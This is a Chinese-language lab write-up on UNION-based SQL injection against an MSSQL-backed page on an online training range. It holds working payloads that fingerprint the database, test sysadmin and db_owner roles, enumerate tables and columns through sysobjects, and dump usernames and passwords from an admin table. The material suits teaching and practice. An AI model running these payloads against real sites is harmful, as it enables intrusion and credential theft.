mssql数据库相关介绍:
mssql数据库:
mssql数据库是一款微软推出的数据库
判断是否为mssql数据库:
and exists(select * from sysobjects)--
exists是一个是否存在的判断
sysobjects是mssql数据库自带的一张表
mssql数据库权限:
sa权限:数据库操作,?件管理,命令执?,注册表读取等 system
db权限:?件管理,数据库操作等 users-adminstrators
public权限:数据库操作 guest-users
mssql数据库判断权限的语句:
and 1=(select is_srvrolemember(‘sysadmin‘)) //判断是否是系统管理员
and 1=(select is_srvrolemember(‘db_owner‘))//判断是否是库权限
and 1=(select is_srvrolemember(‘public‘)) //判断是否为public权限
调用数据库的语句:
<% set conn =server.createobject("adodb.connection") conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name" %>
provider是数据库引擎 ;uid是权限
在线靶场:
靶场使用墨者学院在线靶场
启动靶场后,就会有对应的ip地址和端口,访问后即可进行练习
进入靶场后使用检查模式,进入max hackbar
添加url地址,加上mssql数据库的判断语句,刷新
如果页面返回正常,说明使用的是mssql数据库
寻找字符显位
代码:id=-2 union all select null,null,null,null
每个null都是一个显位,通过依次改变null的值,来看该显位是否可以用
将第一个显位的值改变
刷新后发现,没由变化,该显位不可用
将第二个显位的值改变
此时发现有了变化,证明该显位可以用
依次测试3,4显位,发现第3 显位也可以用
测试显位时,给测试符加上单引号,不容易报错
测试出显位后,就可以利用显位,做一下查询
查询基本信息
1.@@version- 获取版本信息;
2.db_name() -数据库名字
3.user,system_user,current_user,user_name – 获取当前?户名
4.@@SERVERNAME – 获取有关服务器主机的信息。
利用显位查看版本信息和数据库名字
查询表名
利用第二个显位查询表名
id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u‘),null,null
mozhe_db_v2是数据库名
查询出第一个表表名为manage
在代码中加入and name not in (‘manage‘) 除去第一个表,来查询第二个表表名
id=-2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u‘ and name not in (‘manage‘)),null,null
以此类推在 not in (‘manage‘)里加入第二个表名可以查出第三个表not in (‘manage‘,‘announcement‘)
依次可以继续查询,直到查询到自己所需要的表
本次实验需要查询用户信息,所以使用manage表就可以
获取manage表列名
id=-2 union all select null,(select top 1 col_name(object_id(‘manage‘),1) from sysobjects),null,null
也是利用第二显位来做查询
红色的1代表查询第一列,假设要查询第二列更改为2即可
依次查询后,发现第二列第三列为username 和 password
查询用户名和密码
id=-2 union all select null,username, password ,null from manage
利用第二显位和第三显位查询username 和password两列的信息
整一个sql注入完成,成功拿到用户名和密码